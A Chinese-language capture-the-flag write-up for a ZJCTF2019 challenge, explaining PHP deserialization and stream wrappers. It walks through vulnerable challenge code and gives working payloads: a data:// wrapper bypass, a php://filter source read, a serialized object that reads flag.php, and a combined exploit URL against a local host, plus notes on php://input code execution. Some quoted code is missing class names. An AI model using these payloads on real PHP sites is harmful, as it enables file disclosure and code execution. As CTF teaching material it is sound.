之前一直有想写关于反序列化的东西,可是一直拖拖拖,拖到了现在。
本文尝试从ZJCTF2019中的例题来了解何为php反序列,以及php伪协议。
原题:逆转思维1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
".file_get_contents($text,'r')."
";if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
给text传值
从代码来看,当给text传入“welcome to the zjctf”时可以进入到If语句。直接传值会被file_get_contents过滤掉,所以这里利用php伪协议来给text传值。1payload为text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
官网资料:
file_get_contents 函数是用于把文件的内容读入到一个字符串中的首选方法
打印date内容 echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’);
读取useless.php文件
从源码中可以看出不能直接读取flag.php文件,根据提示我们先要读取useless.php文件。1payload为file=php://filter/read=convert.base64-encode/resource=useless.php
解码得到:1
2
3
4
5
6
7
8
9
10
11
12
13class{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("HAHAHAHAHA");
}
}
}
?>
填写password参数拿到flag
上一步我们已经拿到useless.php文件的源码,从代码来看提示了有一个flag.php文件并且在最早的源码中出现了unserialize($password),所以这里的password肯定是要填序列化之后的值。
序列化:保存对象的状态,方便时可恢复对象状态,使之长久保存
代码:1
2
3
4
5
6
7class{
public $file="flag.php";
}
$a=new Flag();
echo serialize($a);
?>
生成payload1payload为password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
综合上述三步,完整的payload为1http://127.0.0.1/1.php?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
总结
php反序列化
serialize()将对象的用字符串的方式进行表示,unserialize()将序列化的字符串,构造成相应的对象。
O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}1对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}
魔术方法会被自动调用,常见的魔术方法有construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(), sleep(), wakeup(), toString(), invoke(), set(), _state(), clone(), __debugInfo() …
反序列化漏洞中常见到有一些魔术方法:
construct():在对象创建时自动被调用;
destruct():在脚本运行结束时自动被调用;
sleep():在对象序列化的时候自动被调用;
wakeup():在反序列化为对象时自动被调用;
__toString(): 直接输出对象引用时自动被调用;
php伪协议file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
expect:// — 处理交互式的流
data://中相关内容:1
2
3
4
5
6
7
8
9* data:,文本数据
* data:text/plain,文本数据
* data:text/html,HTML代码
* data:text/css;base64,css代码
* data:text/javascript;base64,javascript代码
* data:image/x-icon;base64,base64编码的icon图片数据
* data:image/gif;base64,base64编码的gif图片数据
* data:image/png;base64,base64编码的png图片数据
* data:image/jpeg;base64,base64编码的jpeg图片数据
php://中的相关内容:1
2
3
4
5*php://filter:用于读取源代码并进行base64编码输出(一般可读取藏在源代码中的flag)
eg:php://filter/read=convert.base64-encode/resource=useless.php
*php://input:可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
eg:就如本体中在对text赋值是可写成text=php://input,然后再用post把welcome to the zjctf一起传过去,同样可以绕过file_get_contents()函数